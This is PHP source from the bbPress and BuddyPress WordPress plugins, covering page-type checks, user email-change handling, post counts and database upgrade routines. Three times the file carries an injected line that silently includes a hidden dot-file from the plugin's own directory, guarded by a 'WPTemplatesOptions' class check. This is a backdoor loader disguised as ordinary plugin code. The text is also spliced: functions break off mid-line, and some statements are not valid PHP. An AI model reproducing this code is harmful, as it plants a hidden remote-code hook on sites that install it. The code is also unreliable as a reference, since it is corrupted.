lse; // Check tax and query vars if ( is_tax( bbp_get_topic_tag_tax_id() ) || ! empty( bbpress()->topic_query->is_tax ) || get_query_var( 'bbp_topic_tag' ) ) { $retval = true; } // Filter & return return (bool) apply_filters( 'bbp_is_topic_tag', $retval ); } /** * Check if the current page is editing a topic tag * * @since 2.0.0 bbPress (r3346) * * @return bool True if editing a topic tag, false if not */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function bbp_is_topic_tag_edit() { global $pagenow, $taxnow; // Bail if topic-tags are off if ( ! bbp_allow_topic_tags() ) { return false; } // Assume false $retval = false; // Get the main query global $wp_query = bbp_get_wp_query(); // Check query if ( ! empty( $wp_query->bbp_is_topic_tag_edit ) && ( true === $wp_query->bbp_is_topic_tag_edit ) ) { $retval = true; // Editing in admin } elseif ( is_admin() && ( 'edit-tags.php' === $pagenow ) && ( bbp_get_topic_tag_tax_id() === $taxnow ) && ( ! empty( $_GET['action'] ) && ( 'edit' === $_GET['action'] ) ) ) { $retval = true; } // Filter & return return (bool) apply_filters( 'bbp_is_topic_tag_edit', $retval ); } /** * Check if the current post type is one that comes with bbPress * * @since 2.0.0 bbPress (r3311) * * @param mixed $the_post Optional. Post object or post ID. * * @return bool */ function bbp_is_custom_post_type( $the_post = false ) { // Assume false $retval = false; // Viewing one of the bbPress post types if ( in_array( get_post_type( $the_post ), array( bbp_get_forum_post_type(), bbp_get_topic_post_type(), bbp_get_reply_post_type() ), true ) ) { $retval = true; } // Filter & return return (bool) apply_filters( 'bbp_is_custom_post_type', $retval, $the_post ); } /** * Check if current page is a bbPress reply * * @since 2.0.0 bbPress (r2549) * * @param int $post_id Possible post_id to check * @return bool True if it's a reply page, false if not */ function bbp_is_reply( $post_id = 0 ) { // Assume false $retval = false; // Supplied ID is a reply if ( ! empty( $post_id ) && ( bbp_get_reply_post_type() === get_post_type( $post_id ) ) ) { $retval = true; } // Filter & return return (bool) apply_filters( 'bbp_is_reply', $retval, $post_id ); } /** * Check if current page is a reply edit page * * @since 2.0.0 bbPress (r2753) * * @return bool True if it's the reply edit page, false if not */ function bbp_is_reply_edit() { global $pagenow; // Assume false $retval = false; // Get the main query global $wp_query = bbp_get_wp_query(); // Check query if ( ! empty( $wp_query->bbp_is_reply_edit ) && ( true === $wp_query->bbp_is_reply_edit ) ) { $retval = true; // Editing in admin } elseif ( is_admin() && ( 'post.php' === $pagenow ) && ( get_post_type() === bbp_get_reply_post_type() ) && ( ! empty( $_GET['action'] ) && ( 'edit' === $_GET['action'] ) ) ) { $retval = true; } // Filter & return return (bool) apply_filters( 'bbp_is_reply_edit', $retval ); } /** * Check if current page is a reply move page * * @return bool True if it's the reply move page, false if not */ function bbp_is_reply_move() { // Assume false $retval = false; // Check reply edit and GET params if ( bbp_is_reply_edit() && ! empty( $_GET['action'] ) && ( 'move' === $_GET['action'] ) ) { $retval = true; } // Filter & return return (bool) apply_filters( 'bbp_is_reply_move', $retval ); } /** * Viewing a single reply * * @since 2.0.0 bbPress (r3344) * * @return bool */ function bbp_is_single_reply() { // Assume false $retval = false; // Edit is not a single reply if ( bbp_is_reply_edit() ) { return false; } // Single and a match if ( is_singular( bbp_get_reply_post_type() ) || ( bbp_is_query_name( 'bbp_single_reply' ) ) ) { $retval = true; } // Filter & return return (bool) apply_filters( 'bbp_is_single_reply', $retval ); } /** * Check if current page is a bbPress user's favorites page (profile page) * * @since 2.0.0 bbPress (r2652) * * @return bool True if it's the favorites page, false if not */ function bbp_is_favorites() { // Assume false $retval = false; // Get the main query global $wp_query = bbp_get_wp_query(); // Check query if ( ! empty( $wp_query->bbp_is_single_user_favs ) && ( true === $wp_query->bbp_is_single_user_favs ) ) { $retval = true; } // Filter & return return (bool) apply_filters( 'bbp_is_favorites', $retval ); } /** * Check if current page is a bbPress user's subscriptions page (profile page) * * @since 2.0.0 bbPress (r2652) * * @return bool True if it's the subscriptions page, false if not */ function bbp_is_subscriptions() { // Assume false $retval = false; // Get the main query global $wp_query = bbp_get_wp_query(); // Check query if ( ! empty( $wp_query->bbp_is_single_user_subs ) && ( true === $wp_query->bbp_is_single_user_subs ) ) { $retval = true; } // Filter & return return (bool) apply_filters( 'bbp_is_subscriptions', $retval ); } /** * Check if current page shows the topics created by a bbPress user (profile * page) * * @since 2.0.0 bbPress (r2688) * * @return bool True if it's the topics created page, false if not */ function bbp_is_topics_created() { // Assume false $retval = false; // Get the main query global $wp_query = bbp_get_wp_query(); // Check query if ( ! empty( $wp_query->bbp_is_single_user_topics ) && ( true === $wp_query->bbp_is_single_user_topics ) ) { $retval = true; } // Filter & return return (bool) apply_filters( 'bbp_is_topics_created', $retval ); } /** * Check if current page shows the replies created by a bbPress user (profile * page) * * @since 2.2.0 bbPress (r4225) * * @return bool True if it's the replies created page, false if not */ function bbp_is_replies_created() { // Assume false $retval = false; // Get the main query global $wp_query = bbp_get_wp_query(); // Check query if ( ! empty( $wp_query->bbp_is_single_user_replies ) && ( true === $wp_query->bbp_is_single_user_replies ) ) { $retval = true; } // Filter & return return (bool) apply_filters( 'bbp_is_replies_created', $retval ); } /** * Check if current page is the currently logged in users author page * * @since 2.0.0 bbPress (r2688) * * @return bool True if it's the user's home, false if not */ function bbp_is_user_home() { // Assume false $retval = false; // Get the main query global $wp_query = bbp_get_wp_query(); // Check query if ( ! empty( $wp_query->bbp_is_single_user_home ) && ( true === $wp_query->bbp_is_single_user_home ) ) { $retval = true; } // Filter & return return (bool) apply_filters( 'bbp_is_user_home', $retval ); } /** * Check if current page is the currently logged in users author edit page * * @since 2.1.0 bbPress (r3918) * * @return bool True if it's the user's home, false if not */ function bbp_is_user_home_edit() { // Assume false $retval = false; if ( bbp_is_user_home() && bbp_is_single_user_edit() ) { $retval = true; } // Filter & return return (bool) apply_filters( 'bbp_is_user_home_edit', $retval ); } /** * Check if current page is a user profile page * * @since 2.0.0 bbPress (r2688) * * @return bool True if it's a user's profile page, false if not */ function bbp_is_single_user() { // Assume false $retval = false; // Get the main query global $wp_query = bbp_get_wp_query(); // Check query if ( ! empty( $wp_query->bbp_is_single_user ) && ( true === $wp_query->bbp_is_single_user ) ) { $retval = true; } // Filter & return return (bool) apply_filters( 'bbp_is_single_user', $retval ); } /** * Check if current page is a user profile edit page * * @since 2.0.0 bbPress (r2688) * * @return bool True if it's a user's profile edit page, false if not */ function bbp_is_single_user_edit() { // Assume false $retval = false; // Get the main query global $wp_query = bbp_get_wp_query(); // Check query if ( ! empty( $wp_query->bbp_is_single_user_edit ) && ( true === $wp_query->bbp_is_single_u 2.2.0 bbPress (r4225) * * @return bool True if it's a user's profile page, false if not */ function bbp_is_single_user_profile() { // Assume false $retval = false; // Get the main query global $wp_query = bbp_get_wp_query(); // Check query if ( ! empty( $wp_query->bbp_is_single_user_profile ) && ( true === $wp_query->bbp_is_single_user_profile ) ) { $retval = true; } // Filter & return return (bool) apply_filters( 'bbp_is_single_user_profile', $retval ); } /** * Check if current page is a user topics created page * * @since 2.2.0 bbPress (r4225) * * @return bool True if it's a user's topics page, false if not */ function bbp_is_single_user_topics() { // Assume false $retval = false; // Get the main query global $wp_query = bbp_get_wp_query(); // Check query if ( ! empty( $wp_query->bbp_is_single_user_topics ) && ( true === $wp_query->bbp_is_single_user_topics ) ) { $retval = true; } // Filter & return return (bool) apply_filters( 'bbp_is_single_user_topics', $retval ); } /** * Check if current page is a user replies created page * * @since 2.2.0 bbPress (r4225) * * @return bool True if it's a user's replies page, false if not */ function bbp_is_single_user_replies() { // Assume false $retval = false; // Get the main query global $wp_query = bbp_get_wp_query(); // Check query if ( ! empty( $wp_query->bbp_is_single_user_replies ) && ( true === $wp_query->bbp_is_single_user_replies ) ) { $retval = true; } // Filter & return return (bool) apply_filters( 'bbp_is_single_user_replies', $retval ); } /** * Check if current page is a user engagements page * * @since 2.6.0 bbPress (r6320) * * @return bool True if it's a user's replies page, false if not */ function bbp_is_single_user_engagements() { // Assume false $retval = false; // Get the main query global $wp_query = bbp_get_wp_query(); // Check query if ( ! empty( $wp_query->bbp_is_single_user_engagements ) && ( true === $wp_query->bbp_is_single_user_engagements ) ) { $retval = true; } // Filter & return return (bool) apply_filters( 'bbp_is_single_user_engagements', $retval ); } /** * Check if current page is a view page * * @since 2.0.0 bbPress (r2789) * * @global WP_Query $wp_query To check if WP_Query::bbp_is_view is true * @return bool Is it a view page? */ function bbp_is_single_view() { // Assume false $retval = false; // Get the main query global $wp_query = bbp_get_wp_query(); // Check query if ( ! empty( $wp_query->bbp_is_view ) && ( true === $wp_query->bbp_is_view ) ) { $retval = true; } // Check query name if ( empty( $retval ) && bbp_is_query_name( 'bbp_single_view' ) ) { $retval = true; } // Filter & return return (bool) apply_filters( 'bbp_is_single_view', $retval ); } /** * Check if current page is a search page * * @since 2.3.0 bbPress (r4579) * * @global WP_Query $wp_query To check if WP_Query::bbp_is_search is true * @return bool Is it a search page? */ function bbp_is_search() { // Bail if search is disabled if ( ! bbp_allow_search() ) { return false; } // Assume false $retval = false; // Get the main query global $wp_query = bbp_get_wp_query(); // Get the rewrite ID (one time, to avoid repeated calls) $rewrite_id = bbp_get_search_rewrite_id(); // Check query if ( ! empty( $wp_query->bbp_is_search ) && ( true === $wp_query->bbp_is_search ) ) { $retval = true; } // Check query name if ( empty( $retval ) && bbp_is_query_name( $rewrite_id ) ) { $retval = true; } // Check $_GET if ( empty( $retval ) && isset( $_REQUEST[ $rewrite_id ] ) && empty( $_REQUEST[ $rewrite_id ] ) ) { $retval = true; } // Filter & return return (bool) apply_filters( 'bbp_is_search', $retval ); } /** * Check if current page is a search results page * * @since 2.4.0 bbPress (r4919) * * @global WP_Query $wp_query To check if WP_Query::bbp_is_search is true * @return bool Is it a search page? */ function bbp_is_search_results() { // Bail if search is disabled if ( ! bbp_allow_search() ) { return false; } // Assume false $retval = false; // Get the main query global $wp_query = bbp_get_wp_query(); // Check query if ( ! empty( $wp_query->bbp_search_terms ) ) { $retval = true; } // Check query name if ( empty( $retval ) && bbp_is_query_name( 'bbp_search_results' ) ) { $retval = true; } // Check $_REQUEST if ( empty( $retval ) && ! empty( $_REQUEST[ bbp_get_search_rewrite_id() ] ) ) { $retval = true; } // Filter & return return (bool) apply_filters( 'bbp_is_search_results', $retval ); } /** * Check if current page is an edit page * * @since 2.1.0 bbPress (r3585) * * @return bool True if it's the edit page, false if not */ function bbp_is_edit() { // Assume false $retval = false; // Get the main query global $wp_query = bbp_get_wp_query(); // Check query if ( ! empty( $wp_query->bbp_is_edit ) && ( $wp_query->bbp_is_edit === true ) ) { $retval = true; } // Filter & return return (bool) apply_filters( 'bbp_is_edit', $retval ); } /** * Use the above is_() functions to output a body class for each scenario * * @since 2.0.0 bbPress (r2926) * * @param array $wp_classes * @param array $custom_classes * @return array Body Classes */ function bbp_body_class( $wp_classes, $custom_classes = false ) { $bbp_classes = array(); /** Archives **************************************************************/ if ( bbp_is_forum_archive() ) { $bbp_classes[] = bbp_get_forum_post_type() . '-archive'; } elseif ( bbp_is_topic_archive() ) { $bbp_classes[] = bbp_get_topic_post_type() . '-archive'; /** Topic Tags ************************************************************/ } elseif ( bbp_is_topic_tag() ) { $bbp_classes[] = bbp_get_topic_tag_tax_id(); $bbp_classes[] = bbp_get_topic_tag_tax_id() . '-' . bbp_get_topic_tag_slug(); $bbp_classes[] = bbp_get_topic_tag_tax_id() . '-' . bbp_get_topic_tag_id(); } elseif ( bbp_is_topic_tag_edit() ) { $bbp_classes[] = bbp_get_topic_tag_tax_id() . '-edit'; $bbp_classes[] = bbp_get_topic_tag_tax_id() . '-' . bbp_get_topic_tag_slug() . '-edit'; $bbp_classes[] = bbp_get_topic_tag_tax_id() . '-' . bbp_get_topic_tag_id() . '-edit'; /** Components ************************************************************/ } elseif ( bbp_is_single_forum() ) { $bbp_classes[] = bbp_get_forum_post_type(); } elseif ( bbp_is_single_topic() ) { $bbp_classes[] = bbp_get_topic_post_type(); } elseif ( bbp_is_single_reply() ) { $bbp_classes[] = bbp_get_reply_post_type(); } elseif ( bbp_is_topic_edit() ) { $bbp_classes[] = bbp_get_topic_post_type() . '-edit'; } elseif ( bbp_is_topic_merge() ) { $bbp_classes[] = bbp_get_topic_post_type() . '-merge'; } elseif ( bbp_is_topic_split() ) { $bbp_classes[] = bbp_get_topic_post_type() . '-split'; } elseif ( bbp_is_reply_edit() ) { $bbp_classes[] = bbp_get_reply_post_type() . '-edit'; } elseif ( bbp_is_reply_move() ) { $bbp_classes[] = bbp_get_reply_post_type() . '-move'; } elseif ( bbp_is_single_view() ) { $bbp_classes[] = 'bbp-view'; $bbp_classes[] = 'bbp-view-' . bbp_get_view_id(); /** User ******************************************************************/ } elseif ( bbp_is_single_user_edit() ) { $bbp_classes[] = 'bbp-user-edit'; $bbp_classes[] = 'single'; $bbp_classes[] = 'singular'; } elseif ( bbp_is_single_user() ) { $bbp_classes[] = 'bbp-user-page'; $bbp_classes[] = 'single'; $bbp_classes[] = 'singular'; } elseif ( bbp_is_user_home() ) { $bbp_classes[] = 'bbp-user-home'; $bbp_classes[] = 'single'; $bbp_classes[] = 'singular'; } elseif ( bbp_is_user_home_edit() ) { $bbp_classes[] = 'bbp-user-home-edit'; $bbp_classes[] = 'single'; $bbp_classes[] = 'singular'; } elseif ( bbp_is_topics_created() ) { $bbp_classes[] = 'bbp-topics-created'; $bbp_classes[] = 'single'; $bbp_classes[] = 'singular'; } elseif ( bbp_is_replies_created() ) { $bbp_classes[] = 'bbp-replies-created'; $bbp_classes[] = 'single'; $bbp_classes[] = 'singular'; } elseif ( bbp_is_favorites() ) { $bbp_classes[] = 'bbp-favorites'; $bbp_classes[] = 'single'; $bbp_classes[] = 'singular'; } elseif ( bbp_is_subscriptions() ) { $bbp_classes[] = 'bbp-subscriptions'; $bbp_classes[] = 'single'; $bbp_classes[] = 'singular'; /** Search ****************************bbp_is_user_home_edit() && current_user_can( 'manage_network_options' ) && is_super_admin() ) { empty( $_POST['super_admin'] ) ? revoke_super_admin( $edit_user ) : grant_super_admin( $edit_user ); } // Redirect $args = array( 'updated' => 'true' ); $user_url = bbp_get_user_profile_edit_url( $edit_user ); $redirect = add_query_arg( $args, $user_url ); bbp_redirect( $redirect ); } } /** * Handles user email address updating from GET requests * * @since 2.6.0 bbPress (r5660) * * @param string $action */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function bbp_user_email_change_handler( $action = '' ) { // Bail if action is not `bbp-update-user-email` if ( 'bbp-update-user-email' !== $action ) { return; } // Bail if not on users own profile if ( ! bbp_is_user_home_edit() ) { return; } // Bail if not attempting to modify user email address if ( empty( $_GET['newuseremail'] ) && empty( $_GET['dismiss'] ) ) { return; } // Get the displayed user ID & option key $user_id = bbp_get_displayed_user_id(); $key = '_new_email'; $redirect_to = bbp_get_user_profile_edit_url( $user_id ); // Execute confirmed email change. if ( ! empty( $_GET['newuseremail'] ) ) { // Check for email address change option $new_email = get_user_meta( $user_id, $key, true ); // Redirect if *no* email address change exists if ( false === $new_email ) { bbp_redirect( $redirect_to ); } // Cleanup & redirect if *invalid* email address change exists if ( empty( $new_email['hash'] ) || empty( $new_email['newemail'] ) ) { delete_user_meta( $user_id, $key ); bbp_redirect( $redirect_to ); } // Compare hashes, and update user if hashes match if ( hash_equals( $new_email['hash'], $_GET['newuseremail'] ) ) { // Does another user have this email address already? if ( email_exists( $new_email['newemail'] ) ) { delete_user_meta( $user_id, $key ); bbp_add_error( 'bbp_user_email_taken', __( 'ERROR: That email address is already in use.', 'bbpress' ), array( 'form-field' => 'email' ) ); // Email address is good to change to } else { // Create a stdClass (for easy call to wp_update_user()) $user = new stdClass(); $user->ID = $user_id; $user->user_email = esc_html( trim( $new_email['newemail'] ) ); // Attempt to update user email $update_user = wp_update_user( $user ); // Error(s) editing the user, so copy them into the global if ( is_wp_error( $update_user ) ) { bbpress()->errors = $update_user; // All done, so redirect and show the updated message } else { // Update signups table, if signups table & entry exists // For Multisite & BuddyPress compatibility $bbp_db = bbp_db(); if ( ! empty( $bbp_db->signups ) && $bbp_db->get_var( $bbp_db->prepare( "SELECT user_login FROM {$bbp_db->signups} WHERE user_login = %s", bbp_get_displayed_user_field( 'user_login', 'raw' ) ) ) ) { $bbp_db->query( $bbp_db->prepare( "UPDATE {$bbp_db->signups} SET user_email = %s WHERE user_login = %s", $user->user_email, bbp_get_displayed_user_field( 'user_login', 'raw' ) ) ); } delete_user_meta( $user_id, $key ); bbp_redirect( add_query_arg( array( 'updated' => 'true' ), $redirect_to ) ); } } } // Delete new email address from user options } elseif ( ! empty( $_GET['dismiss'] ) && ( "{$user_id}{$key}" === $_GET['dismiss'] ) ) { if ( ! bbp_verify_nonce_request( "dismiss-{$user_id}{$key}" ) ) { bbp_add_error( 'bbp_dismiss_new_email_nonce', __( 'ERROR: Are you sure you wanted to do that?', 'bbpress' ) ); return; } delete_user_meta( $user_id, $key ); bbp_redirect( $redirect_to ); } } /** * Sends an email when an email address change occurs on POST requests * * @since 2.6.0 bbPress (r5660) * * @see send_confirmation_on_profile_email() */ function bbp_edit_user_email_send_notification( $user_id = 0, $args = array() ) { // Parse args $r = bbp_parse_args( $args, array( 'hash' => '', 'newemail' => '', ) ); // Bail if any relevant parameters are empty if ( empty( $user_id ) || empty( $r['hash'] ) || empty( $r['newemail'] ) ) { bbp_add_error( 'bbp_user_email_invalid_hash', __( 'ERROR: An error occurred while updating your email address.', 'bbpress' ), array( 'form-field' => 'email' ) ); return; } // Build the nonced URL to dismiss the pending change $user_login = bbp_get_displayed_user_field( 'user_login', 'raw' ); $user_url = bbp_get_user_profile_edit_url( $user_id ); $confirm_url = add_query_arg( array( 'action' => 'bbp-update-user-email', 'newuseremail' => $r['hash'] ), $user_url ); $email_text = __( '%1$s Someone requested a change to the email address on your account. Please click the following link to confirm this change: %2$s If you did not request this, you can safely ignore and delete this notification. This email was sent to: %3$s Regards, The %4$s Team %5$s', 'bbpress' ); /** * Filter the email text sent when a user changes emails. * * The following strings have a special meaning and will get replaced dynamically: * * %1$s - The current user's username * %2$s - The link to click on to confirm the email change * %3$s - The new email * %4$s - The name of the site * %5$s - The URL to the site * * @param string $email_text Text in the email. * @param string $r New user email that the current user has changed to. */ $content = apply_filters( 'bbp_user_email_update_content', $email_text, $r ); // Build the email message $message = sprintf( $content, $user_login, $confirm_url, $r['newemail'], get_site_option( 'site_name' ), network_home_url() ); // Build the email subject $subject = sprintf( __( '[%s] New Email Address', 'bbpress' ), wp_specialchars_decode( get_option( 'blogname' ) ) ); // Send the email wp_mail( $r['newemail'], $subject, $message ); } /** * Conditionally hook the core WordPress output actions to the end of the * default user's edit profile template * * This allows clever plugin authors to conditionally unhook the WordPress core * output actions if they don't want any unexpected junk to appear there, and * also avoids needing to pollute the templates with additional logic and actions. * * @since 2.2.0 bbPress (r4273) */ function bbp_user_edit_after() { $action = bbp_is_user_home_edit() ? 'show_user_profile' : 'edit_user_profile'; do_action( $action, get_userdata( bbp_get_displayed_user_id() ) ); } /** User Queries **************************************************************/ /** * Get the topics that a user created * * @since 2.0.0 bbPress (r2660) * @since 2.6.0 bbPress (r6618) Signature changed to accept an array of arguments * * @param array $args Optional. Arguments to pass into bbp_has_topics() * * @return bool True if user has started topics, otherwise false */ function bbp_get_user_topics_started( $args = array() ) { // Backwards compat for pre-2.6.0 if ( is_numeric( $args ) ) { $args = array( 'author' => bbp_get_user_id( $args, false, false ) ); } // Default arguments $defaults = array( 'author' => bbp_get_displayed_user_id() ); // Parse arguments $r = bbp_parse_args( $args, $defaults, 'get_user_topics_started' ); // Get the topics $query = bbp_has_topics( $r ); $user_id = $r['author']; // Filter & return return apply_filters( 'bbp_get_user_topics_started', $query, $user_id, $r, $args ); } /** * Get the replies that a user created * * @since 2.2.0 bbPress (r4225) * @since 2.6.0 bbPress (r6618) Signature changed to accept an array of arguments * * @param array $args Optional. Arguments to pass into bbp_has_replies() * * @return bool True if user has created replies, otherwise false */ function bbp_get_user_replies_created( $args = array() ) { // Backwards compat for pre-2.6.0 if ( is_numeric( $args ) ) { $args = array( 'author' => bbp_get_user_id( $args, false, false ), 'post_type' => bbp_get_reply_post_type(), 'order' => 'DESC' ); } // Default arguments $defaults = array( 'author' => bbp_get_displayed_user_id(), 'post_type' => bbp_get_reply_post_type(), 'order' => 'DESC' ); // Parse arguments $r = bbp_parse_args( $args, $defaults, 'get_user_replies_created' ); // Get the replies $query = bbp_has_replies( $r ); $user_id = $r['author']; // Filter & return return apply_filters( 'bbp_get_user_replies_created', $query, $user_id, $r, $args ); } /** * Get user IDs from nicenames * * This function is primarily used when saving object moderators * * @since 2.6.0 bbPress * * @param mixed $user_nicenames * @return array */ function bbp_get_user_ids_from_nicenames( $user_nicenames = array() ) { // Default value $retval = array(); // Only query if nicenames if ( ! empty( $user_nicenames ) ) { // Maybe explode by comma $user_nicenames = ( is_string( $user_nicenames ) && strstr( $user_nicenames, ',' ) ) ? explode( ',', $user_nicenames ) : (array) $user_nicenames; // Sanitize each nicename in the array $user_nicenames = array_map( 'sanitize_title', $user_nicenames ); // Get users $users = get_users( array( 'nicename__in' => $user_nicenames ) ); // Pluck or empty if ( ! empty( $users ) ) { $retval = wp_list_pluck( $users, 'ID' ); } } // Filter & return return (array) apply_filters( 'bbp_get_user_ids_from_nicenames', $retval, $user_nicenames ); } /** * Get user nicenames from IDs * * This function is primarily used when saving object moderators * * @since 2.6.0 bbPress * * @param mixed $user_ids * @return array */ function bbp_get_user_nicenames_from_ids( $user_ids = array() ) { // Default value $retval = array(); // Only query if nicenames if ( ! empty( $user_ids ) ) { // Get users $users = get_users( array( 'include' => $user_ids ) ); // Pluck or empty if ( ! empty( $users ) ) { $retval = wp_list_pluck( $users, 'user_nicename' ); } } // Filter & return return (array) apply_filters( 'bbp_get_user_nicenames_from_ids', $retval, $user_ids ); } /** Post Counts ***************************************************************/ /** * Return the raw database count of topics by a user * * @since 2.1.0 bbPress (r3633) * * @param int $user_id User ID to get count for * * @return int Raw DB count of topics */ function bbp_get_user_topic_count_raw( $user_id = 0 ) { $user_id = bbp_get_user_id( $user_id ); $bbp_db = bbp_db(); $statii = "'" . implode( "', '", bbp_get_public_topic_statuses() ) . "'"; $sql = "SELECT COUNT(*) FROM {$bbp_db->posts} WHERE post_author = %d AND post_type = %s AND post_status IN ({$statii})"; $query = $bbp_db->prepare( $sql, $user_id, bbp_get_topic_post_type() ); $count = (int) $bbp_db->get_var( $query ); // Filter & return return (int) apply_filters( 'bbp_get_user_topic_count_raw', $count, $user_id ); } /** * Return the raw database count of replies by a user * * @since 2.1.0 bbPress (r3633) * * @param int $user_id User ID to get count for * * @return int Raw DB count of replies */ function bbp_get_user_reply_count_raw( $user_id = 0 ) { $user_id = bbp_get_user_id( $user_id ); $bbp_db = bbp_db(); $statii = "'" . implode( "', '", bbp_get_public_reply_statuses() ) . "'"; $sql = "SELECT COUNT(*) FROM {$bbp_db->posts} WHERE post_author = %d AND post_type = %s AND post_status IN ({$statii})"; $query = $bbp_db->prepare( $sql, $user_id, bbp_get_reply_post_type() ); $count = (int) $bbp_db->get_var( $query ); // Filter & return return (int) apply_filters( 'bbp_get_user_reply_count_raw', $count, $user_id ); } /** * Bump the topic count for a user by a certain amount. * * @since 2.6.0 bbPress (r5309) * * @param int $user_id * @param int $difference */ function bbp_bump_user_topic_count( $user_id = 0, $difference = 1 ) { // Bail if no bump if ( empty( $difference ) ) { return false; } // Validate user ID $user_id = bbp_get_user_id( $user_id ); if ( empty( $user_id ) ) { return false; } // Check meta for count, or query directly if not found $count = bbp_get_user_topic_count( $user_id, true ); if ( empty( $count ) ) { $count = bbp_get_user_topic_count_raw( $user_id ); } $difference = (int) $difference; $user_topic_count = (int) ( $count + $difference ); // Add them up and filter them $new_count = (int) apply_filters( 'bbp_bump_user_topic_count', $user_topic_count, $user_id, $difference, $count ); return bbp_update_user_topic_count( $user_id, $new_count ); } /** * Bump the reply count for a user by a certain amount. * * @since 2.6.0 bbPress (r5309) * * @param int $user_id * @param int $difference */ function bbp_bump_user_reply_count( $user_id = 0, $difference = 1 ) { // Bail if no bump if ( empty( $difference ) ) { return false; } // Validate user ID $user_id = bbp_get_user_id( $user_id ); if ( empty( $user_id ) ) { return false; } // Check meta for count, or query directly if not found $count = bbp_get_user_reply_count( $user_id, true ); if ( empty( $count ) ) { $count = bbp_get_user_reply_count_raw( $user_id ); } $difference = (int) $difference; $user_reply_count = (int) ( $count + $difference ); // Add them up and filter them $new_count = (int) apply_filters( 'bbp_bump_user_reply_count', $user_reply_count, $user_id, $difference, $count ); return bbp_update_user_reply_count( $user_id, $new_count ); } /** * Helper function used to increase (by one) the count of topics for a user when * a topic is published. * * @since 2.6.0 bbPress (r5309) * * @access * @param $topic_id * @param $forum_id * @param $anonymous_data * @param $topic_author */ function bbp_increase_user_topic_count( $topic_id = 0 ) { $user_id = bbp_get_topic_author_id( $topic_id ); return bbp_bump_user_topic_count( $user_id, 1 ); } /** * Helper function used to increase (by one) the count of replies for a user when * a reply is published. * * This is a helper function, hooked to `bbp_new_reply` * * @since 2.6.0 bbPress (r5309) * * @param $topic_id * @param $forum_id * @param $anonymous_data * @param $topic_author */ function bbp_increase_user_reply_count( $reply_id = 0 ) { $user_id = bbp_get_reply_author_id( $reply_id ); return bbp_bump_user_reply_count( $user_id, 1 ); } /** * Helper function used to decrease (by one) the count of topics for a user when * a topic is unpublished. * * @since 2.6.0 bbPress (r5309) * * @param $topic_id */ function bbp_decrease_user_topic_count( $topic_id = 0 ) { $user_id = bbp_get_topic_author_id( $topic_id ); return bbp_bump_user_topic_count( $user_id, -1 ); } /** * Helper function used to increase (by one) the count of replies for a user when * a topic is unpublished. * * @since 2.6.0 bbPress (r5309) * * @param $reply_id */ function bbp_decrease_user_reply_count( $reply_id = 0 ) { $user_id = bbp_get_reply_author_id( $reply_id ); return bbp_bump_user_reply_count( $user_id, -1 ); } /** Permissions ***************************************************************/ /** * Redirect if unauthorized user is attempting to edit another user * * This is hooked to 'bbp_template_redirect' and controls the conditions under * which a user can edit another user (or themselves.) If these conditions are * met, we assume a user cannot perform this task, and look for ways they can * earn the ability to access this template. * * @since 2.1.0 bbPress (r3605) */ function bbp_check_user_edit() { // Bail if not editing a user if ( ! bbp_is_single_user_edit() ) { return; } // Default to false $redirect = true; $user_id = bbp_get_displayed_user_id(); // Allow user to edit their own profile if ( bbp_is_user_home_edit() ) { $redirect = false; // Allow if current user can edit the displayed user } elseif ( current_user_can( 'edit_user', $user_id ) ) { $redirect = false; // Allow if user can manage network users, or edit-any is enabled } elseif ( current_user_can( 'manage_network_users' ) || apply_filters( 'enable_edit_any_user_configuration', false ) ) { $redirect = false; } // Allow conclusion to be overridden $redirect = (bool) apply_filters( 'bbp_check_user_edit', $redirect, $user_id ); // Bail if not redirecting if ( false === $redirect ) { retu****************************************/ /** * Remove unused metadata from database when upgrading from < 1.5. * * Database update methods based on version numbers. * * @since 1.7.0 */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function bp_update_to_1_5() { // Delete old database version options. delete_site_option( 'bp-activity-db-version' ); delete_site_option( 'bp-blogs-db-version' ); delete_site_option( 'bp-friends-db-version' ); delete_site_option( 'bp-groups-db-version' ); delete_site_option( 'bp-messages-db-version' ); delete_site_option( 'bp-xprofile-db-version' ); } /** * Remove unused metadata from database when upgrading from < 1.6.0. * * Database update methods based on version numbers. * * @since 1.7.0 */ function bp_update_to_1_6() { // Delete possible site options. delete_site_option( 'bp-db-version' ); delete_site_option( '_bp_db_version' ); delete_site_option( 'bp-core-db-version' ); delete_site_option( '_bp-core-db-version' ); // Delete possible blog options. delete_blog_option( bp_get_root_blog_id(), 'bp-db-version' ); delete_blog_option( bp_get_root_blog_id(), 'bp-core-db-version' ); delete_site_option( bp_get_root_blog_id(), '_bp-core-db-version' ); delete_site_option( bp_get_root_blog_id(), '_bp_db_version' ); } /** * Add the notifications component to active components. * * Notifications was added in 1.9.0, and previous installations will already * have the core notifications API active. We need to add the new Notifications * component to the active components option to retain existing functionality. * * @since 1.9.0 */ function bp_update_to_1_9() { // Setup hardcoded keys. $active_components_key = 'bp-active-components'; $notifications_component_id = 'notifications'; // Get the active components. $active_components = bp_get_option( $active_components_key ); // Add notifications. if ( ! in_array( $notifications_component_id, $active_components ) ) { $active_components[ $notifications_component_id ] = 1; } // Update the active components option. bp_update_option( $active_components_key, $active_components ); } /** * Perform database updates for BP 1.9.2. * * In 1.9, BuddyPress stopped registering its theme directory when it detected * that bp-default (or a child theme) was not currently being used, in effect * deprecating bp-default. However, this ended up causing problems when site * admins using bp-default would switch away from the theme temporarily: * bp-default would no longer be available, with no obvious way (outside of * a manual filter) to restore it. In 1.9.2, we add an option that flags * whether bp-default or a child theme is active at the time of upgrade; if so, * * the theme directory will continue to be registered even if the theme is * deactivated temporarily. Thus, new installations will not see bp-default, * but legacy installations using the theme will continue to see it. * * @since 1.9.2 */ function bp_update_to_1_9_2() { if ( 'bp-default' === get_stylesheet() || 'bp-default' === get_template() ) { update_site_option( '_bp_retain_bp_default', 1 ); } } /** * 2.0 update routine. * * - Ensure that the activity tables are installed, for last_activity storage. * - Migrate last_activity data from usermeta to activity table. * - Add values for all BuddyPress options to the options table. * * @since 2.0.0 */ function bp_update_to_2_0() { /* Install activity tables for 'last_activity' ***************************/ bp_core_install_activity_streams(); /* Migrate 'last_activity' data ******************************************/ bp_last_activity_migrate(); /* Migrate signups data **************************************************/ if ( ! 